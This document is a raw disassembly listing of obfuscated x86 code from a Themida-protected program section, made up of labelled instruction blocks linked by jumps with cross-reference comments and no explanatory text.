xor ebx, 4FDF7205h
jnz loc_59CB69
and ebx, 9083636h
add ebx, 0F6F7FA00h
mov ecx, ebx
loc_5A43B8: ; CODE XREF: Themida_:005A69B4j
push ebx
jmp loc_5A1D39
; ---------------------------------------------------------------------------
loc_5A43BE: ; CODE XREF: Themida_:005A12CAj
shr cl, 4
js loc_59E8F5
neg cl
jmp loc_5A9A2B
; ---------------------------------------------------------------------------
loc_5A43CE: ; CODE XREF: Themida_:005A3938j
push 6D9Bh
mov [esp], ebx
jmp loc_5ABD94
; ---------------------------------------------------------------------------
loc_5A43DB: ; CODE XREF: Themida_:0059FDC2j
; Themida_:005A0A17j
mov edi, [esp]
jmp loc_5A4C60
; ---------------------------------------------------------------------------
loc_5A43E3: ; CODE XREF: Themida_:0059D8ACj
xor bh, 93h
jmp loc_5ACC82
; ---------------------------------------------------------------------------
loc_5A43EB: ; CODE XREF: Themida_:0059F0D6j
push 6F9Bh
mov [esp], eax
push ebx
push eax
mov ah, dl
mov bl, ah
pop eax
mov al, bl
pop ebx
mov ch, al
push dword ptr [esp]
mov eax, [esp]
add esp, 4
jmp loc_5A3E1C
; ---------------------------------------------------------------------------
loc_5A4410: ; CODE XREF: Themida_:00599EADj
pop esi
add esp, 4
sub esp, 4
mov [esp], eax
jmp loc_59DCB6
; ---------------------------------------------------------------------------
loc_5A4422: ; CODE XREF: Themida_:005A0187j
add ebp, 4
sub ebp, 4
xchg ebp, [esp]
pop esp
mov [esp], ebx
push dword ptr [esp]
push dword ptr [esp]
pop eax
push esi
mov esi, esp
add esi, 4
add esi, 4
xchg esi, [esp]
jmp loc_5A08D9
; ---------------------------------------------------------------------------
loc_5A4450: ; CODE XREF: Themida_:loc_5A0650j
dec ecx
push eax
push ebx
jmp loc_598CA9
; ---------------------------------------------------------------------------
loc_5A4458: ; CODE XREF: Themida_:0059E37Cj
pop esp
push edx
push esp
pop edx
push 2749h
mov [esp], ebp
mov ebp, 7AE569BEh
push edi
mov edi, 7FFE2429h
sub ebp, 718B5D52h
add ebp, 1BD54E56h
add ebp, edi
sub ebp, 1BD54E56h
add ebp, 718B5D52h
pop edi
push ebx
mov ebx, 51C721Dh
add ebp, ebx
jmp loc_5AC69E
; ---------------------------------------------------------------------------
loc_5A4497: ; CODE XREF: Themida_:005A97B8j
mov ecx, 17171A32h
push ebx
mov ebx, 0E8E8E5D0h
add ecx, ebx
pop ebx
add esi, ecx
pop ecx
jmp loc_5A56BF
; ---------------------------------------------------------------------------
loc_5A44AD: ; CODE XREF: Themida_:005AE039j
xor dl, 4Eh
xor dl, 53h
add bh, dl
pop edx
shl bh, 3
jmp loc_59A784
; ---------------------------------------------------------------------------
loc_5A44BE: ; CODE XREF: Themida_:005ACC4Fj
xor edx, 5EE61538h
jmp loc_5AEA43
; ---------------------------------------------------------------------------
loc_5A44C9: ; CODE XREF: Themida_:005A306Aj
; Themida_:005A59CAj
pop ebx
pop edx
mov ebx, [esp]
add esp, 4
push ebx
jmp loc_59C890
; ---------------------------------------------------------------------------
loc_5A44D7: ; CODE XREF: Themida_:0059FA7Ej
; Themida_:005AF9CBj
add ebp, ebx
sub ebp, 51115BDh
mov ebx, [esp]
add esp, 4
sub esp, 4
mov [esp], edx
mov edx, 4
sub ebp, 746A7FBDh
jmp loc_5A4F58
; ---------------------------------------------------------------------------
loc_5A44FB: ; CODE XREF: Themida_:005AECE0j
sub esp, 4
mov [esp], ebp
jmp loc_5A0C4D
; ---------------------------------------------------------------------------
loc_5A4509: ; CODE XREF: Themida_:0059CA95j
not ecx
xchg ecx, edi
sub edi, 0F2FAC1CDh
mov edx, edi
pop edi
push 7B64h
mov [esp], edx
mov ebp, [esp]
add esp, 4
pop edx
add eax, ebp
push dword ptr [esp]
pop ebp
add esp, 4
xor eax, [esp]
xor [esp], eax
xor eax, [esp]
pop esp
mov ax, [esp]
push eax
jmp loc_5A0CCA
; ---------------------------------------------------------------------------
loc_5A4548: ; CODE XREF: Themida_:0059A543j
push dword ptr [esp]
jmp loc_5AF4B8
; ---------------------------------------------------------------------------
loc_5A4550: ; CODE XREF: Themida_:005A6C89j
xor esi, [esp]
mov esp, [esp]
mov ax, [esp]
push ebp
sub esp, 4
mov [esp], esp
add dword ptr [esp], 4
jmp loc_5A5C90
; ---------------------------------------------------------------------------
loc_5A4570: ; CODE XREF: Themida_:005AACB3j
pop edx
push 4F6Fh
jmp loc_59EE7A
; ---------------------------------------------------------------------------
loc_5A457B: ; DATA XREF: Themida_:005987B8o
mov cx, [esp]
push eax
sub esp, 4
mov [esp], esp
push eax
mov eax, 4
add [esp+4], eax
pop eax
pop eax
push edx
push ecx
jmp loc_5ABABF
; ---------------------------------------------------------------------------
loc_5A4599: ; CODE XREF: Themida_:005A4E02j
not ecx
add ecx, 0FFFFFFFFh
neg ecx
push edi
jmp loc_59A94C
; ---------------------------------------------------------------------------
loc_5A45A9: ; CODE XREF: Themida_:0059AFC8j
sub esp, 4
mov [esp], edx
mov edx, 471A0CCDh
or edx, 1BF07E37h
jmp loc_5AE747
; ---------------------------------------------------------------------------
loc_5A45C2: ; CODE XREF: Themida_:005A6D43j
add edi, 5BFE35E0h
jmp loc_5A96C6
; ---------------------------------------------------------------------------
loc_5A45CD: ; CODE XREF: Themida_:005AEADBj
add esi, edx
pop edx
jmp loc_59D990
; ---------------------------------------------------------------------------
loc_5A45D5: ; CODE XREF: Themida_:005AA545j
sub edi, 280B4690h
jmp loc_5A7F46
; ---------------------------------------------------------------------------
loc_5A45E0: ; CODE XREF: Themida_:0059E191j
mov dh, cl
jmp loc_5A090D
; ---------------------------------------------------------------------------
loc_5A45E7: ; CODE XREF: Themida_:005A9B81j
shl edx, 6
xor edx, 36630650h
sub edx, 0C8691D87h
xor ebx, edx
pop edx
add [edx], ebx
pop ebx
pop edx
pop ecx
loc_5A45FE: ; CODE XREF: Themida_:005AB45Bj
push 7678h
mov [esp], ebx
push 6977h
jmp loc_5A8F39
; ---------------------------------------------------------------------------
loc_5A4610: ; CODE XREF: Themida_:005A1771j
mov [esp], eax
mov eax, 71F43312h
push esi
mov esi, 3008274Bh
and eax, esi
pop esi
neg eax
shl eax, 5
and eax, 158A3DB8h
jmp loc_598DE2
; ---------------------------------------------------------------------------
loc_5A4630: ; CODE XREF: Themida_:005A3813j
push edi
jmp loc_59A108
; ---------------------------------------------------------------------------
loc_5A4636: ; CODE XREF: Themida_:loc_5AEF08j
push eax
not byte ptr [esp+1]
pop eax
neg ah
jmp loc_5A2A61
; ---------------------------------------------------------------------------
loc_5A4643: ; CODE XREF: Themida_:0059DFDAj
add edx, 568618EBh
mov ebp, [esp]
add esp, 4
jmp loc_5A53B8
; ---------------------------------------------------------------------------
loc_5A4654: ; CODE XREF: Themida_:005ABC68j
pop ebx
add ebp, 34D94D38h
jg loc_5A07DF
push eax
mov eax, 0F88705Bh
sub ebp, eax
pop eax
push ecx
pop edi
loc_5A466C: ; CODE XREF: Themida_:005A891Aj
mov [esp], ecx
jmp loc_5A2DE2
; ---------------------------------------------------------------------------
loc_5A4674: ; CODE XREF: Themida_:005A1207j
xchg eax, [esp]
pop esp
pop dword ptr [esp]
jmp loc_5AE220
; ---------------------------------------------------------------------------
loc_5A4680: ; CODE XREF: Themida_:005A120Ej
jmp loc_5989A3
; ---------------------------------------------------------------------------
loc_5A4685: ; CODE XREF: Themida_:005A47A6j
pop ebp
jmp loc_5A7424
; ---------------------------------------------------------------------------
loc_5A468B: ; CODE XREF: Themida_:005AAA3Cj
sub esi, 33342761h
push dword ptr [esp]
pop ebx
jmp loc_5A2A6C
; ---------------------------------------------------------------------------
loc_5A469A: ; CODE XREF: Themida_:0059CF7Cj
sub eax, ebx
jmp loc_5A6A74
; ---------------------------------------------------------------------------
loc_5A46A1: ; CODE XREF: Themida_:0059FF01j
xor esi, 0D69B9C91h
mov edi, esi
pop esi
add eax, edi
pop edi
push 6ADh
mov [esp], esi
mov esi, 67A12420h
neg esi
shl esi, 4
xor esi, 58D00A8Dh
not esi
jmp loc_599BA3
; ---------------------------------------------------------------------------
loc_5A46CC: ; CODE XREF: Themida_:005AC4CBj
xor ebx, 99277CFFh
mov edx, ebx
pop ebx
add ecx, edx
jmp loc_59FCA5
; ---------------------------------------------------------------------------
loc_5A46DC: ; CODE XREF: Themida_:005A9F55j
sub esp, 4
mov [esp], ecx
mov ecx, 52165E3Ah
and ecx, 17E43DAh
xor ecx, 6B9A36A3h
sub ecx, 0A304615Eh
jmp loc_59A298
; ---------------------------------------------------------------------------
loc_5A4701: ; CODE XREF: Themida_:0059F05Ej
push ecx
push edi
push 7750135Fh
jmp loc_5A11F0
; ---------------------------------------------------------------------------
loc_5A470D: ; CODE XREF: Themida_:005AB7D9j
push ecx
jmp loc_5ADB2A
; ---------------------------------------------------------------------------
loc_5A4713: ; CODE XREF: Themida_:005A7A90j
pop ebx
xchg esi, [esp]
pop esp
mov [esp], ebx
jmp loc_5AF907
; ---------------------------------------------------------------------------
loc_5A4720: ; CODE XREF: Themida_:005AC1A8j
and di, 7A05h
inc di
push ecx
mov cx, 2B5Bh
jmp loc_5A4E07
; ---------------------------------------------------------------------------
loc_5A4731: ; CODE XREF: Themida_:005A6913j
pop ecx
add ecx, 4
sub ecx, 4
xchg ecx, [esp]
mov esp, [esp]
mov [esp], ecx
push esp
pop ecx
jmp loc_5A26F7
; ---------------------------------------------------------------------------
loc_5A474B: ; CODE XREF: Themida_:005AB200j
pop ebp
shl ebp, 8
add ebp, 7CE0BEFFh
mov esi, ebp
pop ebp
sub ecx, esi
jmp loc_59A182
; ---------------------------------------------------------------------------
loc_5A475F: ; CODE XREF: Themida_:005A7253j
pop ebx
add ebx, ecx
pop ecx
xor [esp], ebx
xor ebx, [esp]
jmp loc_5AB4CF
; ---------------------------------------------------------------------------
loc_5A476E: ; CODE XREF: Themida_:0059BF43j
mov edi, 4
jmp loc_5ABA22
; ---------------------------------------------------------------------------
loc_5A4778: ; CODE XREF: Themida_:005A5F7Dj
push ecx
push eax
push ecx
mov ch, 0EFh
sub ch, 1
dec ch
sub ch, 2Eh
shr ch, 4
jmp loc_598E09
; ---------------------------------------------------------------------------
loc_5A478D: ; CODE XREF: Themida_:005AA497j
mov ebp, 161E14BFh
add ebp, 0F8ADF2D6h
sub edi, 50DB7356h
sub edi, ebp
add edi, 50DB7356h
jmp loc_5A4685
; ---------------------------------------------------------------------------
loc_5A47AB: ; CODE XREF: Themida_:005A6E24j
add ecx, 0FF742950h
jmp loc_5A6AAE
; ---------------------------------------------------------------------------
loc_5A47B6: ; CODE XREF: Themida_:005A40EEj
mov [esp], ebx
push 5EF5h
mov [esp], esi
push 0E313569h
mov esi, [esp]
add esp, 4
xor esi, 4250273Ah
jnb loc_5A431E
xor esi, 718174BCh
mov ebx, esi
pop esi
neg ebx
push eax
loc_5A47E4: ; CODE XREF: Themida_:loc_5A20E8j
xor edx, 65B5EAEFh
xor esi, edx
jmp loc_5AAEF9
; ---------------------------------------------------------------------------
loc_5A47F1: ; CODE XREF: Themida_:005A1CD6j
pop ax
push bp
xor word ptr [esp], 787Dh
pop dx
xor dx, 787Dh
pop ebp
mov cx, 3771h
add cx, 4086h
add cx, dx
sub cx, 4086h
mov edx, [esp]
add esp, 4
push eax
mov ax, 670h
inc ax
inc ax
inc ax
add ax, 5260h
add bx, ax
pop eax
jmp loc_5ACAB8
; ---------------------------------------------------------------------------
loc_5A4835: ; CODE XREF: Themida_:005AFA04j
push dword ptr [esp]
pop eax
add esp, 4
push eax
push esp
jmp loc_5A7A17
; ---------------------------------------------------------------------------
loc_5A4843: ; CODE XREF: Themida_:005AB271j
mov ebp, 411492Ch
jmp loc_5ADF69
; ---------------------------------------------------------------------------
loc_5A484D: ; CODE XREF: Themida_:0059C8FCj
mov edi, 0B15616Eh
sub edi, 0CE3180C6h
sub esi, edi
pop edi
sub ebp, esi
pop esi
jmp loc_5A0625
; ---------------------------------------------------------------------------
loc_5A4863: ; CODE XREF: Themida_:005A77E7j
; Themida_:005AF30Dj
shl ebp, 8
xor ebp, 0F5348B02h
add esi, 77FC08A7h
add esi, ebp
jmp loc_5A6C7C
; ---------------------------------------------------------------------------
loc_5A4879: ; CODE XREF: Themida_:005A1507j
pop esi
jmp loc_5A0BC9
; ---------------------------------------------------------------------------
loc_5A487F: ; CODE XREF: Themida_:005AB800j
sub ch, dh
jmp loc_5AB18E
; ---------------------------------------------------------------------------
loc_5A4886: ; DATA XREF: Themida_:005987DCo
mov ax, [esp]
push edi
push 5725h
mov [esp], esp
jmp loc_5A7693
; ---------------------------------------------------------------------------
loc_5A4898: ; CODE XREF: Themida_:005AD4D4j
not eax
sub eax, 0BBCB3C4Ah
xor edx, eax
mov eax, [esp]
add esp, 4
add edx, 5E770570h
jnz loc_59D7E4
xor edx, 96E05EEh
mov ebp, edx
mov edx, [esp]
loc_5A48C1: ; CODE XREF: Themida_:005A8092j
pop edx
push ebp
mov ebp, 75D03733h
xor ebp, 13336BBCh
jb loc_59F1CA
neg ebp
jle loc_5A50DD
jmp loc_5A0D75
; ---------------------------------------------------------------------------
sub ebx, 0FFFFFFFFh
push ecx
loc_5A48E8: ; CODE XREF: Themida_:0059F1EEj
pop ecx
jmp loc_59A531
; ---------------------------------------------------------------------------
loc_5A48EE: ; CODE XREF: Themida_:005A5925j
xor esi, 0F4DFF1C4h
add ebp, esi
pop esi
push eax
mov eax, esp
jmp loc_5ABA3E
; ---------------------------------------------------------------------------
loc_5A48FF: ; CODE XREF: Themida_:005A5DCCj
neg esi
dec esi
xor esi, 5978C1A3h
sub ebx, esi
pop esi
sub eax, 236E7B45h
sub eax, 0D49333Ah
add eax, ebx
add eax, 0D49333Ah
push ebp
mov ebp, 236E7B45h
add eax, ebp
pop ebp
pop ebx
push esi
mov esi, 152C19CFh
shr esi, 7
jmp loc_59B37B
; ---------------------------------------------------------------------------
loc_5A4934: ; CODE XREF: Themida_:005AA035j
mov [esp], edx
push eax
pushf
jmp loc_5989A3
; ---------------------------------------------------------------------------
loc_5A493E: ; CODE XREF: Themida_:0059903Dj
push ecx
mov ecx, esp
jmp loc_5AC37D
; ---------------------------------------------------------------------------
loc_5A4946: ; CODE XREF: Themida_:005A52A9j
sub esp, 2
mov [esp], cx
mov cl, 1Fh
sub dh, cl
mov cx, [esp]
add esp, 2
sub dh, 1
push ax
jmp loc_5AEE7E
; ---------------------------------------------------------------------------
loc_5A4962: ; CODE XREF: Themida_:005A5495j
add edx, 4
xchg edx, [esp]
mov esp, [esp]
mul ecx
sub esp, 4
mov [esp], edi
push esp
jmp loc_59958E
; ---------------------------------------------------------------------------
loc_5A497C: ; CODE XREF: Themida_:0059C2BAj
add edi, 7CB402BAh
jl loc_5A380D
xor edi, 7DF812B5h
jmp loc_5A86C0
; ---------------------------------------------------------------------------
loc_5A4993: ; CODE XREF: Themida_:005A524Dj
xor eax, esi
xor esi, eax
xor eax, esi
xor esi, eax
xor eax, esi
jmp loc_59DF93
; ---------------------------------------------------------------------------
loc_5A49A2: ; CODE XREF: Themida_:005A0169j
pop edx
jmp loc_59A843
; ---------------------------------------------------------------------------
loc_5A49A8: ; CODE XREF: Themida_:005A4D78j
jp loc_59D1AC
sub edx, 7DF36C06h
jg loc_5AE785
not edx
add edx, 178316A6h
jmp loc_59BD15
; ---------------------------------------------------------------------------
loc_5A49C7: ; CODE XREF: Themida_:0059BD56j
pop ecx
pop eax
pop edx
push dword ptr [esp]
pop ebx
jmp loc_5ABBBB
; ---------------------------------------------------------------------------
loc_5A49D3: ; CODE XREF: Themida_:005A2E06j
; Themida_:005A65B8j
xor edx, 24F15B98h
jns loc_5A5804
shl edx, 3
jmp loc_5A6141
; ---------------------------------------------------------------------------
push eax
or al, 11h
loc_5A49EA: ; CODE XREF: Themida_:0059968Dj
neg eax
shr eax, 1
jnz loc_598BED
add eax, 0AF474029h
jmp loc_5992F1
; ---------------------------------------------------------------------------
sub ebx, edi
loc_5A4A00: ; CODE XREF: Themida_:005A42E4j
; Themida_:005A58FAj
add ebx, 0ED7A4779h
sub edi, ebx
pop ebx
neg edi
and edi, 36A2337Fh
sub edi, 0BD0685C8h
jmp loc_59A36B
; ---------------------------------------------------------------------------
loc_5A4A1C: ; CODE XREF: Themida_:0059FAB2j
pop ebx
or edi, 7F487672h
and edi, 3FE9359Eh
push esi
jmp loc_5A361E
; ---------------------------------------------------------------------------
loc_5A4A2F: ; CODE XREF: Themida_:0059FCA0j
mov [esp], ecx
mov ecx, 25D0464Fh
and esi, ecx
jmp loc_5A01E3
; ---------------------------------------------------------------------------
loc_5A4A3E: ; CODE XREF: Themida_:0059B740j
mov esp, [esp]
push ecx
jmp loc_5A5B5F
; ---------------------------------------------------------------------------
loc_5A4A47: ; CODE XREF: Themida_:loc_59EA9Ej
push edx
mov dl, 9
push ecx
mov ch, 6Ah
sub dl, ch
pop ecx
shl dl, 4
or dl, 0D6h
jmp loc_5A195D
; ---------------------------------------------------------------------------
loc_5A4A5B: ; CODE XREF: Themida_:005A691Ej
push ecx
jmp loc_5A8011
; ---------------------------------------------------------------------------
loc_5A4A61: ; CODE XREF: Themida_:005A5ACEj
add edi, ebp
jmp loc_5AB6A3
; ---------------------------------------------------------------------------
loc_5A4A68: ; CODE XREF: Themida_:005AAB87j
and edx, 5D3A7786h
and edx, 62FF5711h
jmp loc_5A76A7
; ---------------------------------------------------------------------------
loc_5A4A79: ; CODE XREF: Themida_:0059E95Ej
mov [esp], ecx
push 355h
mov [esp], edx
push eax
mov al, 6Bh
jmp loc_5A32A3
; ---------------------------------------------------------------------------
loc_5A4A8C: ; CODE XREF: Themida_:0059B288j
shl eax, 5
jmp loc_5A4FC2
; ---------------------------------------------------------------------------
loc_5A4A94: ; CODE XREF: Themida_:loc_5AF9D8j
xor ebp, 446607EAh
jb loc_5A2524
sub ebp, 5C367BF9h
or ebp, 6FD711BDh
jmp loc_5A6412
; ---------------------------------------------------------------------------
loc_5A4AB1: ; CODE XREF: Themida_:0059EC2Ej
add eax, 4
jmp loc_59EA31
; ---------------------------------------------------------------------------
loc_5A4AB9: ; CODE XREF: Themida_:005A8279j
inc ebp
jmp loc_59C317
; ---------------------------------------------------------------------------
loc_5A4ABF: ; CODE XREF: Themida_:0059DB35j
add ecx, edi
sub ecx, 364136E6h
push 1511h
jmp loc_5A21BC
; ---------------------------------------------------------------------------
loc_5A4AD1: ; CODE XREF: Themida_:005AE41Dj
mov [esp], ebx
push dword ptr [esp]
jmp loc_5AA316
; ---------------------------------------------------------------------------
loc_5A4ADC: ; CODE XREF: Themida_:0059DBF1j
add esp, 4
push 4315h
jmp loc_59A51E
; ---------------------------------------------------------------------------
loc_5A4AE9: ; CODE XREF: Themida_:005A3D12j
add edx, 4
xchg edx, [esp]
pop esp
push ecx
jmp loc_5AFDA8
; ---------------------------------------------------------------------------
loc_5A4AF6: ; CODE XREF: Themida_:005A5B84j
jmp loc_5989A3
; ---------------------------------------------------------------------------
loc_5A4AFB: ; CODE XREF: Themida_:005A23D6j
mov ebp, 4
add [esp+4], ebp
pop ebp
mov edi, [esp]
jmp loc_59ABBC
; ---------------------------------------------------------------------------
loc_5A4B0D: ; CODE XREF: Themida_:005AE742j
shr ecx, 5
add ecx, 28557340h
sub ecx, 622E27E8h
mov eax, ecx
jmp loc_5AC46E
; ---------------------------------------------------------------------------
loc_5A4B23: ; CODE XREF: Themida_:005A5545j
pop ebx
add ebp, eax
add ebp, 608459A1h
mov eax, [esp]
push ecx
mov ecx, esp
add ecx, 4
add ecx, 4
xchg ecx, [esp]
pop esp
push edi
push 4
pop edi
push ecx
mov ecx, 441C467Dh
sub ebp, ecx
mov ecx, [esp]
add esp, 4
add ebp, 2B7043D6h
add ebp, edi
sub ebp, 2B7043D6h
push ebx
push ecx
mov ecx, 3D1E3C75h
mov ebx, ecx
pop ecx
push eax
mov eax, 24610A4Fh
jmp loc_5998F6
; ---------------------------------------------------------------------------
loc_5A4B77: ; CODE XREF: Themida_:loc_5ADB9Cj
jmp loc_5993B6
; ---------------------------------------------------------------------------
loc_5A4B7C: ; CODE XREF: Themida_:005AB6B7j
sub ebx, 438A433Bh
shr ebx, 2
xor ebx, 335FA655h
add ecx, ebx
pop ebx
push esi
mov esi, 2
add ecx, esi
pop esi
jmp loc_5A34B2
; ---------------------------------------------------------------------------
loc_5A4B9C: ; CODE XREF: Themida_:0059F6ECj
mov ebx, 0FFFFFFFFh
sub edi, ebx
pop ebx
jmp loc_5A409C
; ---------------------------------------------------------------------------
loc_5A4BA9: ; CODE XREF: Themida_:0059AD51j
mov ebx, esi
pop esi
jmp loc_5A01C8
; ---------------------------------------------------------------------------
loc_5A4BB1: ; CODE XREF: Themida_:005A26E0j
not esi
neg esi
jmp loc_59A8F4
; ---------------------------------------------------------------------------
loc_5A4BBA: ; CODE XREF: Themida_:0059C16Fj
pop eax
inc eax
xor eax, 7D7724DAh
and eax, 21C9213Eh
and eax, 54A42B47h
shr eax, 5
push edx
mov edx, 5C5353B0h
jmp loc_5A30C0
; ---------------------------------------------------------------------------
loc_5A4BD9: ; CODE XREF: Themida_:005AB28Aj
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
xchg ebx, [esp]
pop esp
shr eax, 10h
xor eax, ecx
jmp loc_59900C
; ---------------------------------------------------------------------------
loc_5A4BF6: ; CODE XREF: Themida_:005A1F15j
xchg eax, ecx
jmp loc_59ED82
; ---------------------------------------------------------------------------
loc_5A4BFC: ; CODE XREF: Themida_:0059EF54j
add esp, 2
jmp loc_5A1F95
; ---------------------------------------------------------------------------
loc_5A4C04: ; CODE XREF: Themida_:005A7E9Dj
mov [esp], edi
jmp loc_59BF86
; ---------------------------------------------------------------------------
push dword ptr [esp]
mov ecx, [esp]
add esp, 4
push 44D2h
mov [esp], ebp
mov ebp, esp
jmp loc_59CB83
; ---------------------------------------------------------------------------
loc_5A4C27: ; CODE XREF: Themida_:00599B9Ej
push ecx
push ebp
push 37305934h
pop ebp
sub ebp, 37305930h
jmp loc_5A1B2C
; ---------------------------------------------------------------------------
loc_5A4C3A: ; CODE XREF: Themida_:0059ADF1j
pop esi
sub ebx, 4
xchg ebx, [esp]
pop esp
jmp loc_5AF859
; ---------------------------------------------------------------------------
loc_5A4C4A: ; CODE XREF: Themida_:005A510Aj
mov ebp, 1
sub edx, ebp
pop ebp
shr edx, 3
push edi
mov edi, 3E0E5A5Eh
jmp loc_5A6C34
; ---------------------------------------------------------------------------
loc_5A4C60: ; CODE XREF: Themida_:005A43DEj
add esp, 4
jmp loc_5ACA45
; ---------------------------------------------------------------------------
loc_5A4C6B: ; CODE XREF: Themida_:005AD3B6j
mov edi, 3698090Bh
jmp loc_59D562
; ---------------------------------------------------------------------------
loc_5A4C75: ; CODE XREF: Themida_:005A6AEFj
sub eax, edi
jmp loc_5AFC60
; ---------------------------------------------------------------------------
loc_5A4C7C: ; CODE XREF: Themida_:005A3CF1j
pop esp
push edx
jmp loc_5A9B1E
; ---------------------------------------------------------------------------
loc_5A4C83: ; CODE XREF: Themida_:005AE9BCj
mov [esp], esi
mov esi, 29AC1705h
sub esp, 4
mov [esp], ebp
mov ebp, 60F3385Ah
sub esi, ebp
jmp loc_5AB142
; ---------------------------------------------------------------------------
loc_5A4CA0: ; CODE XREF: Themida_:005AC8AAj
push small 4EF8h
push sp
pop small word ptr [esp]
push si
jmp loc_5ABC08
; ---------------------------------------------------------------------------
loc_5A4CB1: ; CODE XREF: Themida_:005ADE1Cj
pop eax
jmp loc_5AB3DB
; ---------------------------------------------------------------------------
loc_5A4CB7: ; CODE XREF: Themida_:005ADD1Aj
add edx, 623633E9h
jp loc_5A37C1
xor edx, 4C425281h
jnp loc_5A7DB6
mov edi, edx
push esi
loc_5A4CD2: ; CODE XREF: Themida_:005A3FE0j
xchg ebp, [esp]
mov esp, [esp]
sub al, bl
sub al, 63h
push 6DD3h
jmp loc_59F480
; ---------------------------------------------------------------------------
loc_5A4CE6: ; CODE XREF: Themida_:005AF6ACj
sub ebp, ecx
push eax
mov eax, 12BE20CAh
sub eax, 1
push ecx
mov ecx, 0CF84B3FDh
sub eax, ecx
pop ecx
add ebp, eax
pop eax
add ebp, 66A13FE1h
pop ecx
jmp loc_5A07A9
; ---------------------------------------------------------------------------
loc_5A4D09: ; CODE XREF: Themida_:005A9938j
neg bh
dec bh
sub bh, 0A0h
sub al, bh
pop ebx
sub al, bh
push ebx
mov bh, 0B3h
jmp loc_5AA3E7
; ---------------------------------------------------------------------------
loc_5A4D1D: ; CODE XREF: Themida_:005AA9E4j
mov edx, 503B0AEAh
add edx, 7051017Dh
inc edx
jmp loc_599AAA
; ---------------------------------------------------------------------------
loc_5A4D2E: ; CODE XREF: Themida_:005AB418j
xor ecx, 6CBD7772h
sub edx, ecx
pop ecx
pop ebp
jmp loc_5AAFDA
; ---------------------------------------------------------------------------
loc_5A4D3D: ; CODE XREF: Themida_:005A6C91j
xchg cl, dh
inc dh
push ecx
mov cl, 0E3h
jmp loc_5AEE18
; ---------------------------------------------------------------------------
loc_5A4D49: ; CODE XREF: Themida_:005AE110j
sub edi, 57731FFAh
mov eax, [esp]
add esp, 4
xchg edi, [esp]
jmp loc_5A203E
; ---------------------------------------------------------------------------
loc_5A4D5D: ; CODE XREF: Themida_:005AD5A5j
mov [esp], ecx
jmp loc_5A5FA0
; ---------------------------------------------------------------------------
loc_5A4D65: ; CODE XREF: Themida_:0059B802j
; Themida_:005A12BEj
pop esp
add al, bl
jmp loc_5AF1F9
; ---------------------------------------------------------------------------
loc_5A4D6D: ; CODE XREF: Themida_:005A50B7j
push edx
mov edx, 60FF1936h
not edx
shr edx, 7
jmp loc_5A49A8
; ---------------------------------------------------------------------------
loc_5A4D7D: ; CODE XREF: Themida_:005AE5E0j
add esi, 4
jmp loc_5AF1AB
; ---------------------------------------------------------------------------
loc_5A4D88: ; CODE XREF: Themida_:00598A44j
push eax
mov eax, 1A815A3Fh
mov edx, 5519BD2Ch
jmp loc_5ABB6B
; ---------------------------------------------------------------------------
loc_5A4D98: ; CODE XREF: Themida_:005AFCABj
jmp loc_5989A3
; ---------------------------------------------------------------------------
loc_5A4D9D: ; CODE XREF: Themida_:0059CC7Bj
pop esi
sub ebx, 4CA14F09h
add ebx, eax
add ebx, 4CA14F09h
push eax
mov eax, esp
push esi
mov esi, 4
add eax, esi
pop esi
sub eax, 4
xchg eax, [esp]
jmp loc_5A7A3A
; ---------------------------------------------------------------------------
loc_5A4DC5: ; CODE XREF: Themida_:005AC889j
add ecx, 2824304h
mov edx, ecx
jmp loc_5A91E8
; ---------------------------------------------------------------------------
loc_5A4DD2: ; CODE XREF: Themida_:005A77ACj
add esi, ebx
sub esi, 2AE66228h
pop ebx
push ecx
jmp loc_5AF3EA
; ---------------------------------------------------------------------------
loc_5A4DE1: ; CODE XREF: Themida_:005AE502j
shr dword ptr [esp], cl
pushf
jmp loc_5989A3
; ---------------------------------------------------------------------------
loc_5A4DEA: ; CODE XREF: Themida_:0059A279j
; Themida_:005AFABBj
add esp, 4
jmp loc_5A0EBF
; ---------------------------------------------------------------------------
loc_5A4DF2: ; CODE XREF: Themida_:005A008Bj
push 47EFh
mov [esp], edx
mov edx, 65E0802h
mov ecx, edx
pop edx
jmp loc_5A4599
; ---------------------------------------------------------------------------
loc_5A4E07: ; CODE XREF: Themida_:005A472Cj
neg cx
shr cx, 2
push bp
mov bp, 7FB1h
jmp loc_598B3C
; ---------------------------------------------------------------------------
loc_5A4E19: ; CODE XREF: Themida_:005A6867j
pop ebx
add ecx, 4
push ecx
push dword ptr [esp+4]
pop ecx
pop dword ptr [esp]
mov esp, [esp]
push 6E9Fh
mov [esp], ebp
push 6D64h
mov [esp], edx
mov edx, 4
jmp loc_59C889
; ---------------------------------------------------------------------------
loc_5A4E43: ; CODE XREF: Themida_:0059E156j
; Themida_:0059FEDEj
mov [esp], edx
mov edx, 15A86C8Dh
sub edx, 1B0B1111h
push ebx
mov ebx, 0FA9D5B78h
xor edx, ebx
pop ebx
add eax, edx
pop edx
push edi
mov edi, 4
sub eax, 531C4ADDh
add eax, edi
push edi
mov edi, 50CB3CD4h
shl edi, 3
not edi
xor edi, 2ABA5382h
add eax, edi
pop edi
pop edi
push eax
push dword ptr [esp+4]
jmp loc_59A6AF
; ---------------------------------------------------------------------------
loc_5A4E89: ; CODE XREF: Themida_:005A3E2Fj
; Themida_:005AD7C5j
pop ax
jmp loc_598C38
; ---------------------------------------------------------------------------
loc_5A4E90: ; CODE XREF: Themida_:00599BD4j
add ebx, ecx
pop ecx
sub ebx, 4
jmp loc_5A68E8
; ---------------------------------------------------------------------------
loc_5A4E9E: ; CODE XREF: Themida_:005A0737j
mov edi, esp
jmp loc_5A9304
; ---------------------------------------------------------------------------
loc_5A4EA5: ; CODE XREF: Themida_:0059EA43j
shl ch, 6
jmp loc_59EA9E
; ---------------------------------------------------------------------------
loc_5A4EAD: ; CODE XREF: Themida_:005A193Ej
push ebx
mov bl, 0CDh
jmp loc_5AE9E3
; ---------------------------------------------------------------------------
loc_5A4EB5: ; CODE XREF: Themida_:0059E4C8j
add edi, 4
add edi, 4
jmp loc_599A36
; ---------------------------------------------------------------------------
loc_5A4EC3: ; CODE XREF: Themida_:005ABE1Bj
or edx, 7A82E57h
jz loc_5A6BDC
jmp loc_5A60FA
; ---------------------------------------------------------------------------
loc_5A4ED4: ; CODE XREF: Themida_:0059B698j
mov esi, [esp]
add esp, 4
push edx
mov edx, esp
add edx, 4
push 67B4h
mov [esp], eax
mov eax, 4
add edx, eax
mov eax, [esp]
add esp, 4
xchg edx, [esp]
mov esp, [esp]
jmp loc_5989A3
; ---------------------------------------------------------------------------
loc_5A4F06: ; CODE XREF: Themida_:0059BC31j
jmp loc_5989A3
